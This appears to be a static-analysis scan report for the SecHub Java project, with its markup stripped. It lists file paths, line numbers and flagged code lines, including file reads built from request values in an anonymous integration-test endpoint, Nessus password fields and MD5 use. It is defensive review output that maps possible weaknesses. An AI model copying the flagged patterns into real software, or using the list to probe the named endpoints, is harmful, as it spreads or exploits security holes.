{MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/project/ProjectUpdateAdministrationRestController.java + 61 + 18 + 1 + path + + 4 + + + 61 + @RequestMapping(path = AdministrationAPIConstants.API_UPDATE_PROJECT_WHITELIST, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/signup/AnonymousSignupRestController.java + 44 + 18 + 1 + path + + 4 + + + 44 + @RequestMapping(path = AdministrationAPIConstants.API_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 41 + 18 + 1 + path + + 4 + + + 41 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_SIGNUP, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/signup/SignupAdministrationRestController.java + 49 + 18 + 1 + path + + 4 + + + 49 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_USER_SIGNUPS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserGetApiTokenByOneTimeTokenRestController.java + 30 + 14 + 1 + path + + 4 + + + 30 + @GetMapping(path = AdministrationAPIConstants.API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN+"/{oneTimeToken}", + + + + + + + + + com/daimler/sechub/domain/administration/user/AnonymousUserRequestNewApiTokenRestController.java + 33 + 18 + 1 + path + + 4 + + + 33 + @RequestMapping(path = AdministrationAPIConstants.API_REQUEST_NEW_APITOKEN, method = RequestMethod.POST) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 59 + 18 + 1 + path + + 4 + + + 59 + @RequestMapping(path = AdministrationAPIConstants.API_ACCEPT_USER_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 68 + 18 + 1 + path + + 4 + + + 68 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_USERS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 76 + 18 + 1 + path + + 4 + + + 76 + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_ADMINS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 84 + 18 + 1 + path + + 4 + + + 84 + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_USER_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 92 + 18 + 1 + path + + 4 + + + 92 + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_USER, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 100 + 18 + 1 + path + + 4 + + + 100 + @RequestMapping(path = AdministrationAPIConstants.API_GRANT_ADMIN_RIGHTS_TO_USER, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java + 108 + 18 + 1 + path + + 4 + + + 108 + @RequestMapping(path = AdministrationAPIConstants.API_REVOKE_ADMIN_RIGHTS_FROM_USER, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 40 + 4 + 1 + path + + 4 + + + 40 + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails/to/{emailAdress}", + + + + + + + + + com/daimler/sechub/domain/notification/email/MockEmailRestController.java + 51 + 4 + 1 + path + + 4 + + + 51 + path = APIConstants.API_ANONYMOUS+"integrationtest/mock/emails", + + + + + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 87 + 6 + 1 + file + + 4 + + + 87 + file = cssResource.getFile(); + + + + + + + + + com/daimler/sechub/domain/scan/admin/FullScanDataRestController.java + 43 + 18 + 1 + path + + 4 + + + 43 + @RequestMapping(path = "/scan/download/{sechubJobUUID}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/scan/log/ScanLogRestController.java + 32 + 18 + 1 + path + + 4 + + + 32 + @RequestMapping(path = "/scan/logs", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 48 + 18 + 1 + path + + 4 + + + 48 + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + + + + + + + + + com/daimler/sechub/domain/scan/report/ScanReportRestController.java + 60 + 18 + 1 + path + + 4 + + + 60 + @RequestMapping(path = "/report/{jobUUID}", method = RequestMethod.GET, produces= {"application/xhtml+xml", "text/html","text/html;charset=UTF-8"}) + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 64 + 18 + 1 + path + + 4 + + + 64 + @RequestMapping(path = "/job", method = RequestMethod.POST) + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 76 + 18 + 1 + path + + 4 + + + 76 + @RequestMapping(path = "/job/{jobUUID}/sourcecode", method = RequestMethod.POST) + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 93 + 18 + 1 + path + + 4 + + + 93 + @RequestMapping(path = "/job/{jobUUID}/approve", method = RequestMethod.PUT) + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerRestController.java + 106 + 18 + 1 + path + + 4 + + + 106 + @RequestMapping(path = "/job/{jobUUID}", method = RequestMethod.GET) + + + + + + + + + com/daimler/sechub/server/AnonymousInfoRestController.java + 18 + 18 + 1 + path + + 4 + + + 18 + @RequestMapping(path = APIConstants.API_ANONYMOUS + "info/version", method = RequestMethod.GET, produces = { MediaType.TEXT_PLAIN_VALUE }) + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 56 + 18 + 1 + path + + 4 + + + 56 + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/alive", method = RequestMethod.GET, produces = { MediaType.APPLICATION_JSON_UTF8_VALUE, + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 62 + 18 + 1 + path + + 4 + + + 62 + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/shutdown", method = RequestMethod.GET, produces = { + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 70 + 18 + 1 + path + + 4 + + + 70 + @RequestMapping(path = APIConstants.API_USER + "integrationtest/check/role/user", method = RequestMethod.GET, produces = { + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 77 + 18 + 1 + path + + 4 + + + 77 + @RequestMapping(path = APIConstants.API_USER + "integrationtest/check/role/owner", method = RequestMethod.GET, produces = { + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 84 + 18 + 1 + path + + 4 + + + 84 + @RequestMapping(path = APIConstants.API_ANONYMOUS + "integrationtest/{projectId}/{jobUUID}/uploaded/{fileName}", method = RequestMethod.GET) + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/CheckmarxUploadSupport.java + 53 + 8 + 1 + file + + 4 + + + 53 + File file = new File(pathToZipFile); + + + + + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 42 + 8 + 1 + file + + 4 + + + 42 + File file = new File(path); + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 92 + 8 + 1 + file + + 4 + + + 92 + File file = new File(absolutePath); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 70 + 10 + 1 + pathToFile + + 10 + + + 70 + Path pathToFile = getPathToFile(fileName); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 93 + 9 + 1 + file + + 4 + + + 93 + Path file = load(filename); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 129 + 8 + 1 + filePath + + 8 + + + 129 + Path filePath = getPathToFile(fileName); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java + 43 + 9 + 1 + rootPath + + 8 + + + 43 + Path rootPath = Files.createTempDirectory("sechub-integration-test"); + + + + + + + + + + + com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java + 40 + 34 + 1 + getSingleResult + + 1 + + + 40 + result = query.getSingleResult(); + + + + + + + + + com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryImpl.java + 38 + 29 + 1 + getResultList + + 1 + + + 38 + return query.getResultList(); + + + + + + + + + com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java + 39 + 29 + 1 + getResultList + + 1 + + + 39 + return query.getResultList(); + + + + + + + + + com/daimler/sechub/domain/administration/job/JobInformationRepository.java + 23 + 69 + 1 + jobUUID + + 7 + + + 23 + public void deleteJobInformationWithJobUUID(@Param("jobUUID") UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/scan/access/ScanAccessRepository.java + 15 + 45 + 1 + userId + + 6 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + com/daimler/sechub/domain/schedule/access/ScheduleAccessRepository.java + 15 + 45 + 1 + userId + + 6 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java + 13 + 59 + 1 + projectId + + 9 + + + 13 + public Optional<ScheduleSecHubJob> findForProject(String projectId, UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java + 13 + 75 + 1 + jobUUID + + 7 + + + 13 + public Optional<ScheduleSecHubJob> findForProject(String projectId, UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 16 + 76 + 1 + projectId + + 9 + + + 16 + public List<ProjectWhitelistEntry> fetchWhiteListEntriesForProject(String projectId); + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 20 + 48 + 1 + projectId + + 9 + + + 20 + public void deleteAllEntriesForProject(String projectId); + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 101 + 75 + 1 + readAllBytes + + 1 + + + 101 + ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path)); + + + + + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 43 + 28 + 1 + read + + 1 + + + 43 + while (dis.read() != -1) ; //empty loop to clear the data + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 101 + 76 + 1 + path + + 4 + + + 101 + ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path)); + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 104 + 40 + 1 + length + + 1 + + + 104 + .contentLength(file.length()) + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 71 + 15 + 1 + copy + + 1 + + + 71 + Files.copy(inputStream, pathToFile, StandardCopyOption.REPLACE_EXISTING); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 61 + 28 + 1 + createDirectories + + 1 + + + 61 + Files.createDirectories(path); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java + 45 + 27 + 1 + createDirectories + + 1 + + + 45 + Files.createDirectories(uploadPath); + + + + + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java + 43 + 45 + 1 + createTempDirectory + + 1 + + + 43 + Path rootPath = Files.createTempDirectory("sechub-integration-test"); + + + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanSupport.java + 67 + 62 + 1 + toLowerCase + + 1 + + + 67 + if (context.isIncrementalScan() && failureText.toLowerCase().contains("full scan")) { + + + + + com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanSupport.java + 67 + 73 + 2 + contains + + 1 + + + 67 + if (context.isIncrementalScan() && failureText.toLowerCase().contains("full scan")) { + + + + + + + + + com/daimler/sechub/domain/scan/TargetResolverService.java + 20 + 47 + 1 + toLowerCase + + 1 + + + 20 + String hostNameLowercased = host.toLowerCase(); + + + + + com/daimler/sechub/domain/scan/TargetResolverService.java + 20 + 10 + 2 + hostNameLowercased + + 18 + + + 20 + String hostNameLowercased = host.toLowerCase(); + + + + + com/daimler/sechub/domain/scan/TargetResolverService.java + 21 + 7 + 3 + hostNameLowercased + + 18 + + + 21 + if (hostNameLowercased.endsWith("intranet.example.org")) { + + + + + com/daimler/sechub/domain/scan/TargetResolverService.java + 21 + 34 + 4 + endsWith + + 1 + + + 21 + if (hostNameLowercased.endsWith("intranet.example.org")) { + + + + + + + + + com/daimler/sechub/domain/scan/TargetType.java + 41 + 28 + 1 + toLowerCase + + 1 + + + 41 + return name().toLowerCase()+"://"; + + + + + com/daimler/sechub/domain/scan/Target.java + 104 + 56 + 2 + getIdentifierPrefix + + 1 + + + 104 + return identifier.startsWith(type.getIdentifierPrefix()); + + + + + com/daimler/sechub/domain/scan/Target.java + 104 + 31 + 3 + startsWith + + 1 + + + 104 + return identifier.startsWith(type.getIdentifierPrefix()); + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 45 + 14 + 3 + key + + 3 + + + 45 + handleNIST(key,value,classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 63 + 33 + 4 + key + + 3 + + + 63 + private void handleNIST(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 65 + 9 + 5 + key + + 3 + + + 65 + if (! key.contains("NIST")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 65 + 21 + 6 + contains + + 1 + + + 65 + if (! key.contains("NIST")) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 44 + 15 + 3 + key + + 3 + + + 44 + handleFISMA(key,value,classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 48 + 34 + 4 + key + + 3 + + + 48 + private void handleFISMA(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 50 + 9 + 5 + key + + 3 + + + 50 + if (! key.contains("FISMA")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 50 + 21 + 6 + contains + + 1 + + + 50 + if (! key.contains("FISMA")) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 43 + 13 + 3 + key + + 3 + + + 43 + handlePCI(key,value, classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 106 + 32 + 4 + key + + 3 + + + 106 + private void handlePCI(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 108 + 9 + 5 + key + + 3 + + + 108 + if (! key.contains("PCI")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 112 + 15 + 6 + key + + 3 + + + 112 + handlePCI32(key, value, classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 139 + 34 + 7 + key + + 3 + + + 139 + private void handlePCI32(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 140 + 7 + 8 + key + + 3 + + + 140 + if (key.indexOf("V3.2") == -1) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 140 + 18 + 9 + indexOf + + 1 + + + 140 + if (key.indexOf("V3.2") == -1) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 43 + 13 + 3 + key + + 3 + + + 43 + handlePCI(key,value, classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 106 + 32 + 4 + key + + 3 + + + 106 + private void handlePCI(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 108 + 9 + 5 + key + + 3 + + + 108 + if (! key.contains("PCI")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 111 + 15 + 6 + key + + 3 + + + 111 + handlePCI31(key, value, classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 132 + 34 + 7 + key + + 3 + + + 132 + private void handlePCI31(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 133 + 7 + 8 + key + + 3 + + + 133 + if (key.indexOf("V3.1") == -1) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 133 + 18 + 9 + indexOf + + 1 + + + 133 + if (key.indexOf("V3.1") == -1) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 43 + 13 + 3 + key + + 3 + + + 43 + handlePCI(key,value, classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 106 + 32 + 4 + key + + 3 + + + 106 + private void handlePCI(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 108 + 9 + 5 + key + + 3 + + + 108 + if (! key.contains("PCI")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 108 + 21 + 6 + contains + + 1 + + + 108 + if (! key.contains("PCI")) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 38 + 1 + toUpperCase + + 1 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 34 + 10 + 2 + key + + 3 + + + 34 + String key= keyValue[0].toUpperCase(); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 42 + 15 + 3 + key + + 3 + + + 42 + handleOWASP(key,value,classification); + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 84 + 34 + 4 + key + + 3 + + + 84 + private void handleOWASP(String key, String value, Classification classification) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 86 + 9 + 5 + key + + 3 + + + 86 + if (! key.contains("OWASP")) { + + + + + com/daimler/sechub/sereco/importer/CheckmarxCategoriesToClassificationConverter.java + 86 + 21 + 6 + contains + + 1 + + + 86 + if (! key.contains("OWASP")) { + + + + + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 124 + 51 + 1 + toLowerCase + + 1 + + + 124 + String lowerCased = productId.trim().toLowerCase(); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 124 + 10 + 2 + lowerCased + + 10 + + + 124 + String lowerCased = productId.trim().toLowerCase(); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 125 + 10 + 3 + lowerCased + + 10 + + + 125 + return lowerCased.equals(this.productId); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 125 + 27 + 4 + equals + + 1 + + + 125 + return lowerCased.equals(this.productId); + + + + + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 170 + 35 + 1 + toLowerCase + + 1 + + + 170 + return sb.toString().toLowerCase(); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 153 + 48 + 2 + createSubStringWithoutBOMandLowercased + + 1 + + + 153 + return createSubStringWithoutBOMandLowercased(data, 5).startsWith("<?xml"); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 153 + 68 + 3 + startsWith + + 1 + + + 153 + return createSubStringWithoutBOMandLowercased(data, 5).startsWith("<?xml"); + + + + + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 170 + 35 + 1 + toLowerCase + + 1 + + + 170 + return sb.toString().toLowerCase(); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 149 + 48 + 2 + createSubStringWithoutBOMandLowercased + + 1 + + + 149 + return createSubStringWithoutBOMandLowercased(data, 1).startsWith("{"); + + + + + com/daimler/sechub/sereco/importer/ImportSupport.java + 149 + 68 + 3 + startsWith + + 1 + + + 149 + return createSubStringWithoutBOMandLowercased(data, 1).startsWith("{"); + + + + + + + + + com/daimler/sechub/sereco/metadata/Severity.java + 26 + 39 + 1 + toUpperCase + + 1 + + + 26 + String upperCased=string.toUpperCase(); + + + + + com/daimler/sechub/sereco/metadata/Severity.java + 26 + 10 + 2 + upperCased + + 10 + + + 26 + String upperCased=string.toUpperCase(); + + + + + com/daimler/sechub/sereco/metadata/Severity.java + 28 + 31 + 3 + upperCased + + 10 + + + 28 + if (severity.name().equals(upperCased)) { + + + + + com/daimler/sechub/sereco/metadata/Severity.java + 28 + 30 + 4 + equals + + 1 + + + 28 + if (severity.name().equals(upperCased)) { + + + + + + + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 43 + 18 + 1 + exists + + 1 + + + 43 + if (file.exists()) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 107 + 29 + 1 + exists + + 1 + + + 107 + if (! path.toFile().exists()) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 135 + 49 + 1 + exists + + 1 + + + 135 + return getPathToFile(fileName).toFile().exists(); + + + + + + + + + com/daimler/sechub/domain/scan/log/ProjectScanLogRepositoryImpl.java + 38 + 29 + 1 + getResultList + + 1 + + + 38 + return query.getResultList(); + + + + + + + + + com/daimler/sechub/domain/scan/product/ProductResultRepositoryImpl.java + 39 + 29 + 1 + getResultList + + 1 + + + 39 + return query.getResultList(); + + + + + + + + + com/daimler/sechub/domain/administration/job/JobInformationRepository.java + 23 + 69 + 1 + jobUUID + + 7 + + + 23 + public void deleteJobInformationWithJobUUID(@Param("jobUUID") UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/scan/access/ScanAccessRepository.java + 15 + 45 + 1 + userId + + 6 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + com/daimler/sechub/domain/schedule/access/ScheduleAccessRepository.java + 15 + 45 + 1 + userId + + 6 + + + 15 + public void deleteAcessForUserAtAll(String userId); + + + + + + + + + com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java + 13 + 59 + 1 + projectId + + 9 + + + 13 + public Optional<ScheduleSecHubJob> findForProject(String projectId, UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java + 13 + 75 + 1 + jobUUID + + 7 + + + 13 + public Optional<ScheduleSecHubJob> findForProject(String projectId, UUID jobUUID); + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 16 + 76 + 1 + projectId + + 9 + + + 16 + public List<ProjectWhitelistEntry> fetchWhiteListEntriesForProject(String projectId); + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java + 20 + 48 + 1 + projectId + + 9 + + + 20 + public void deleteAllEntriesForProject(String projectId); + + + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 173 + 37 + 1 + format + + 1 + + + 173 + String part = MessageFormat.format(MSG_APICALL_GET_HISTORY_IDS, Long.toString(context.getNessusScanId())); + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 178 + 37 + 1 + format + + 1 + + + 178 + String part = MessageFormat.format(MSG_APICALL_LAUNCH_SCAN, Long.toString(context.getNessusScanId())); + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 183 + 37 + 1 + format + + 1 + + + 183 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN, Long.toString(context.getNessusScanId())); + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 188 + 37 + 1 + format + + 1 + + + 188 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_STATUS, Long.toString(context.getNessusScanId()), + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 194 + 37 + 1 + format + + 1 + + + 194 + String part = MessageFormat.format(MSG_APICALL_EXPORT_SCAN_DOWNLOAD, Long.toString(context.getNessusScanId()), + + + + + + + + + com/daimler/sechub/domain/notification/user/NewAPITokenAppliedUserNotificationService.java + 29 + 43 + 1 + format + + 1 + + + 29 + emailContent.append(MessageFormat.format("The new api token has been applied to your user:\"{0}\".\n", + + + + + + + + + + + com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java + 32 + 17 + 1 + intranetNessusPassword + + 22 + + + 32 + private String intranetNessusPassword; + + + + + + + + + com/daimler/sechub/domain/scan/product/nessus/NessusInstallSetupImpl.java + 36 + 17 + 1 + internetNessusPassword + + 22 + + + 36 + private String internetNessusPassword; + + + + + + + + + + + com/daimler/sechub/adapter/support/MessageDigestSupport.java + 11 + 36 + 1 + ""MD5"" + + 5 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + com/daimler/sechub/adapter/support/MessageDigestSupport.java + 11 + 35 + 2 + getInstance + + 1 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + + + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 101 + 76 + 1 + path + + 4 + + + 101 + ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path)); + + + + + com/daimler/sechub/server/IntegrationTestServerRestController.java + 101 + 75 + 2 + readAllBytes + + 1 + + + 101 + ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path)); + + + + + + + + + + + main/web/index.html + 1 + 1 + 1 + CxJSNS_1566302128 + + 0 + + + 1 + <!DOCTYPE html> + + + + + + + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 16 + 49 + 1 + ""./../sechub-other/mockdata/mockdata_setup.json"" + + 48 + + + 16 + public static final String DEFAULT_FILE_PATH = "./../sechub-other/mockdata/mockdata_setup.json"; + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 16 + 29 + 2 + DEFAULT_FILE_PATH + + 17 + + + 16 + public static final String DEFAULT_FILE_PATH = "./../sechub-other/mockdata/mockdata_setup.json"; + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 23 + 20 + 3 + DEFAULT_FILE_PATH + + 17 + + + 23 + String filePath = DEFAULT_FILE_PATH;// set here default too when not in spring + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 23 + 9 + 4 + filePath + + 8 + + + 23 + String filePath = DEFAULT_FILE_PATH;// set here default too when not in spring + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 31 + 20 + 5 + ensureSetupLoaded + + 1 + + + 31 + ensureSetupLoaded(); + + + + + 